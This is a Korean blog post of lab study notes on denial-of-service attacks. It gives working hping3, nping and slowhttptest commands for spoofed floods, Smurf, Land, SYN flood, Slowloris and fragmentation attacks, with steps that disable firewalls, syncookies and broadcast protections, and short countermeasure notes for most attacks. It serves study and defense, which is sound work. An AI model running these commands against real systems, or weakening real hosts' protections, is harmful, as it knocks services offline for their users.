systemctl stop firewalld
본격적으로 실습에 들어가기전에, 공격 대상이 될 Rocky 의 방화벽을 가동 중지시켜야 한다.
hping3 명령어
port scanning 을 위해 사용하는 명령어로, 여러 옵션들과 함께 사용한다. 본 실습에서는 DOS 공격을 위해 사용한다.
1) 옵션 미사용
공격 대상을 향해 ICMP 패킷을 전송한다.
hping3 10.10.10.30
공격 대상인 10.10.10.30 IP 주소를 향해, ICMP 패킷을 전송한다.
2) -2 옵션
공격 대상을 향해 UDP 패킷을 전송한다.
hping3 -2 10.10.10.30
공격 대상인 10.10.10.30 IP 주소를 향해, UDP 패킷을 전송한다.
3) -1 옵션
공격 대상을 향해 ICMP 패킷을 전송한다.
hping3 -1 10.10.10.30
공격 대상인 10.10.10.30 IP 주소를 향해, ICMP 패킷을 전송한다.
dnf install epel-release
dnf install iftop
hping3 명령어로 공격 후, 부하를 확인하기 위해 iftop 명령어를 사용하므로 해당 패키지를 설치한다.
ping of death (과부하)
공격자가 매우 큰 패킷을 보내오면 서버는 단편화를 진행하고, 패킷 재결합하는 과정에서 과부하가 걸리게 된다.
hping3 -1 -d 5000 10.10.10.10
hping3 -1 -d 40000 10.10.10.10
ICMP 패킷의 데이터 크기를 40000 byte 로 설정하여 공격 대상인 Rocky 리눅스로 Flooding 한다.
이때 패킷을 캡쳐해보면, 단편화된 패킷이 무수히 많이 전송되고 있는 것을 확인할 수 있다.
와이어샤크 '통계 (S) - I/O 그래프 (I)' 메뉴를 선택하여 부하율을 살펴보도록 하자.
ping of death 공격을 수행하게 되면 부하율이 높은 폭으로 올라가는 것을 확인할 수 있다.
또한, iftop 명령어를 통해 부하율을 확인하면 높은 폭으로 막대 그래프가 증가하는 것을 확인할 수 있다.
*보안 대책*
보통 64~100byte의 패킷이 보내지므로, 일정 크기의 큰 패킷을 차단
일정 시간 하나의 호스트에서 단편화된 많은 양의 icmp 패킷이 들어올 경우, 해당 호스트 차단
ip spoofing (random) attack
공격자의 IP 주소를 변조하여, 공격자를 알 수 없도록 한다.
hping3 --icmp --rand-source 10.10.10.30 --flood -d 40000
hping3 --icmp --rand-source [공격 대상의 IP] --flood -d 40000
공격자의 IP 주소를 변조하여 10.10.10.30 의 IP 주소를 가지는 mini 를 향해 공격을 진행한다.
이때 패킷을 캡쳐해보면, 공격자의 IP 주소가 다양한 값으로 변조되어 공격자를 특정할 수 없도록 한다. 단, MAC 주소는 동일하므로 공격 여부를 확인할 수 있다.
*보안 대책*
NAC 장비와 같은 MAC 주소를 감지할수 있는 보안 장비를 통해, IP 주소와 MAC 주소를 매칭하고 다를 경우 차단
Land Attack
Source IP 주소와 Destination IP 주소를 같게 설정하여, 공격 대상의 내부 트래픽을 증가시켜 정상적인 서비스가 불가능하도록 하는 공격이다. (시스템 리소스 공격 => 메모리 부하)
hping3 --icmp -a 10.10.10.10 10.10.10.10 -d 40000 --flood
hping3 --icmp -a [spoofing IP] [공격대상 IP] -d 40000 --flood
출발지와 도착지를 모두 10.10.10.10 의 IP 주소로 설정하여, 내부 트래픽을 증가시키도록 한다.
이때 패킷을 캡쳐해보면, 10.10.10.10 의 IP 주소가 Loop 상태인 것을 확인할 수 있다.
*보안 대책*
출발지와 목적지의 IP 주소가 같을 경우, 필터링
smurf attack
IP Spoofing 기법을 활용한 공격으로, 공격자가 출발지 IP 주소를 스푸핑하여 Broadcast 를 통해 네트워크 내 여러 장비로 공격 대상의 IP 주소로 향하는 ICMP Echo Request 패킷을 전송한다. 공격 대상에게 다량의 Reply 를 유도하여 서비스를 다운시킨다.
[보안해제]
echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts (0으로 변경)
Smurf 공격을 정상적으로 수행하기 위해, 공격 대상에 설정되어있는 Broadcast 패킷 차단 설정을 해제해야 한다.
R1(config)# int f0/1
R1(config-if)# ip direct broadcast
또한, 라우터가 Broadcast 를 다른 네트워크로 전송하도록 필터링을 해제해야 한다.
hping3 -1 -a 10.10.10.10 30.30.30.255 -c 5
hping3 -a [목적지주소] [브로드캐스트주소] [확인할때는 -c 5 정도, 공격은 -flood --icmp]
공격 대상의 IP 주소인 10.10.10.10 으로 출발지 주소를 변조하여, 30.30.30.0/24 네트워크에 Broadcast 를 전송한다.
이때 패킷을 캡쳐해보면, 공격 대상인 10.10.10.10 IP 주소로 다량의 ICMP reply 응답 패킷이 수신되는 것을 확인할 수 있다.
*보안 대책*
host 에서 broadcast 를 호출하는 패킷을 차단
라우터 : no ip directed-broadcast
시스템 : echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
TCP SYN FLOODING
출발지 IP 주소를 변조하여 다량의 SYN 패킷을 전송하게 되면, syn backlog 가 가득차게 되어 정상적인 클라이언트 연결 정보를 저장하지 못하도록 하는 공격이다.
10.10.10.10 IP 주소의 정상적인 웹 페이지의 출력은 다음과 같다.
칼리 : hping3 --rand-source 10.10.10.10 -p 80 -S --flood
공격자의 IP 주소를 변조한 후, 10.10.10.10 의 IP 주소를 향해 SYN 패킷을 flooding 을 수행한다.
이때 패킷을 캡쳐해보면, 공격 대상에게 알 수 없는 호스트로부터 다량의 SYN 패킷이 수신되는 것을 확인할 수 있다.
yum install httpd -y
service httpd restart
service firewalld stop
httpd 서비스 데몬 설치한 후, 웹 페이지를 사용한 실습을 진행해보자.
또한, 웹 페이지의 접속도 불가능해진 것을 확인할 수 있다. (ERR_CONNECTION_TIMED_OUT)
[보안 해제]
cat /proc/sys/net/ipv4/tcp_syncookies (syncookie 활성화 확인)
echo 0 > /proc/sys/net/ipv4/tcp_syncookies (syncookie 비활성화)
tcp_syncookie란?
- SYN Backlog 에 값을 저장하지 않고, 3way-handshake 검사를 수행한 후 Listen Backlog 에 저장한다.
- SYN 패킷을 받으면, 서버는 SYN-ACK을 보내고, 클라이언트가 ACK 응답을 보내기 전에 대기열에 연결을 보류한다.
- SYN Backlog : 대기 중인 연결 수를 지정하는 매개변수로, 서버가 수용할 수 있는 대기 중인 연결 수를 설정한다. 따라서 이 대기열이 꽉 차면, 새로운 SYN 요청을 거부하거나 응답하지 않게 된다.
- Listen Backlog : 연결 요청이 수신되고 연결이 처리되지 않고 대기 중인 연결을 저장한다. 대기 중인 연결은 연결 수락을 기다리며, 대기 공간을 제공한다.
mini 에서도 실습을 진행해보자.
30.30.30.30 IP 주소의 정상적인 웹 페이지의 출력은 다음과 같다.
echo 0 > /proc/sys/net/ipv4/tcp_syncookies
tcp_syncookies 의 값을 0 으로 설정하여 보안을 해제한다.
hping3 --rand-source 30.30.30.30 -p 80 -S --flood
공격자의 IP 주소를 변조한 후, 30.30.30.30 의 IP 주소를 향해 SYN 패킷을 flooding 을 수행한다.
그 결과, 웹 페이지 접속에 로딩이 걸리며 정상적인 접근이 불가능해진 것을 확인할 수 있다.
*보안 대책*
tcp_syncookie 활성화
3way-handshake 과정을 검사하여 완료된 세션만 listenen backlog 로 넘김
TCP Connect Flooding
TCP 3-way-handshake 과정을 과도하게 유발하여, 기존의 SYN Flooding 보안 대책을 무력화시킨다. 서버의 자원을 소모하게 만들어, 정상적인 서비스 제공을 방해한다.
nping --tcp-connect -p 80 -rate=90000 -c 90000 -q 10.10.10.10
nping --tcp-connect -p 80 -rate=90000 -c 90000 -q [공격대상 IP]
공격 대상인 10.10.10.10 IP 주소를 향해, 초당 90000 번의 속도로 90000개의 80 포트로의 TCP 연결을 시도한다.
이때 패킷을 캡쳐해보면, 공격 대상으로 무수한 TCP 연결 요청이 오는 것을 확인할 수 있다.
따라서, 해당 주소를 가진 웹 페이지의 접속도 로딩이 걸리며 정상적인 접속이 불가능한 것을 확인할 수 있다.
*보안 대책*
IP 주소 당, 세션 제한 (IPS 또는 웹 서버에서 커넥션 모듈 설치)
SLOWLORIS 공격
HTTP 서버를 대상으로 하는 공격으로, HTTP Header 정보를 비정상적으로 조작하여 웹 서버가 온전한 Header 정보가 올때 까지 기다리도록하여 다른 세션이 연결할 수 없도록 한다.
apt-get update
apt-get install slowhttptest (slowloris 공격 테스트 도구)
apt-get install etherape (네트워크 트래픽 시각화 도구)
slowloris 공격을 수행하기 위해, 테스드 도구인 slowhttptest 패키지를 설치해야 한다.
정상적인 웹 서비스의 패킷을 캡쳐해보면, HTTP 본문과 헤더를 구분하는 헤더 종결자 0d 0a 0d 0a 를 확인할 수 있다.
slowhttptest -c 4000 -g -o slowloris -i 10 -r 100 -t GET -x 3 -p 3 -u http://10.10.10.10
-c 옵션 : 타겟에 연결 시도할 최대 세션 숫자
-g 옵션 : 변화되는 소켓의 상태 통계 (-o 옵션과 함께 사용)
-i 옵션 : 데이터 전송 간격
-r 옵션 : 초당 연결 수 (높게 설정할 수록 가파르게 연결 세션 증가)
-x [bytes] 옵션 : 탐지를 피하기 위해 random 한 문자열을 삽입
-p [seconds] 옵션 : 지정한 시간 (초) 이 흐른 후에도 응답이 없으면 접속 불가능하다고 판단
하지만, 다음과 같이 slowloris 공격을 수행하게 되면 다른 결과가 나타나게 된다.
정상적인 웹 서비스와 달리 PSH 플래그를 통해 헤더 종결자인 0d 0a 일부만이 들어있는 패킷을 삽입하여, 연결을 지연시킨 것을 확인할 수 있다.
그 결과, 정상적인 웹 페이지 접속에 로딩이 발생하는 것을 확인할 수 있다.
단, 세션 임계치 제한 서버 응답 시간이 time-out 이 되면 다시 서비스에 접속이 가능해진다.
*보안 대책*
헤더 정보 이후에 PSH 패킷이 들어올수 없도록 차단
세션 임계치 제한 서버 응답 시간 timeout 값을 최소로 설정
UDP Flood
다량의 UDP 패킷을 전송하여 네트워크 Bandwidth 를 소모하는 공격으로, 특정 서비스가 아닌 모든 시스템에 영향을 준다. 주로, DDOS 공격에서 사용하며 IP filtering 으로 차단이 어렵다.
hping3 -2 --rand-source -d 65000 -p 50-100 --flood 10.10.10.10
hping3 -2 --rand-source -d 65000 -p 50-100 --flood [공격 IP]
공격 대상인 10.10.10.10 의 IP 주소로, 50 ~ 100 번 포트를 향해 65000 Bytes 크기의 UDP 패킷을 전송한다.
이때 패킷을 캡쳐해보면, 변조된 공격자의 IP 주소로부터 다량의 UDP 패킷이 수신되는 것을 확인할 수 있다.
단편화 공격
1) bonk 공격
Seqeunce Number 가 1로 고정된 비정상적인 TCP 패킷을 보내어 시스템이 그 패킷을 잘못 처리하도록 유도한다.
hping3 -a 1.1.1.1 [공격 대상 IP] --id 3200 -M 100 -p 21 -d 320 --flood
hping3 [공격 대상 IP] -Q
2) boink 공격
분할된 패킷에 잘못된 정보를 삽입하거나 비정상적인 패턴을 사용하여 시스템이 재조합 과정에서 오류를 일으키도록 한다.
hping3 -S [공격 대상 IP] -M 1460
hping3 -S [공격 대상 IP] -M 2920
3) teardrop 공격
분할된 IP 패킷을 보내고 각 패킷의 시퀀스 번호(Sequence Number)를 비정상적으로 설정하여, 재조합 과정에서 오류를 일으키도록 하다,
hping3 -1 [공격 대상 IP] -g 185
서비스 거부 공격
공부하면서 정리한 내용을 글로 작성하였습니다.
혹시나 잘못된 내용이 있다면 댓글로 알려주시면 감사하겠습니다 :)
'Security > Network Security' 카테고리의 다른 글
[Linux] TCP Wrapper & Portsentry (0) | 2025.02.02 |
---|---|
[Linux / KALI] nmap 명령어 (TCP 스캐닝) (0) | 2025.02.02 |
[Linux / KALI] nmap 명령어 (네트워크, UDP 스캐닝) (0) | 2025.02.02 |
[Linux / GNS] GNS KALI, Rocky 상호 연결 (0) | 2025.02.02 |
[Linux / Rocky] 공격 대상 서버, 서비스 설치 및 방화벽 설정 (0) | 2025.02.01 |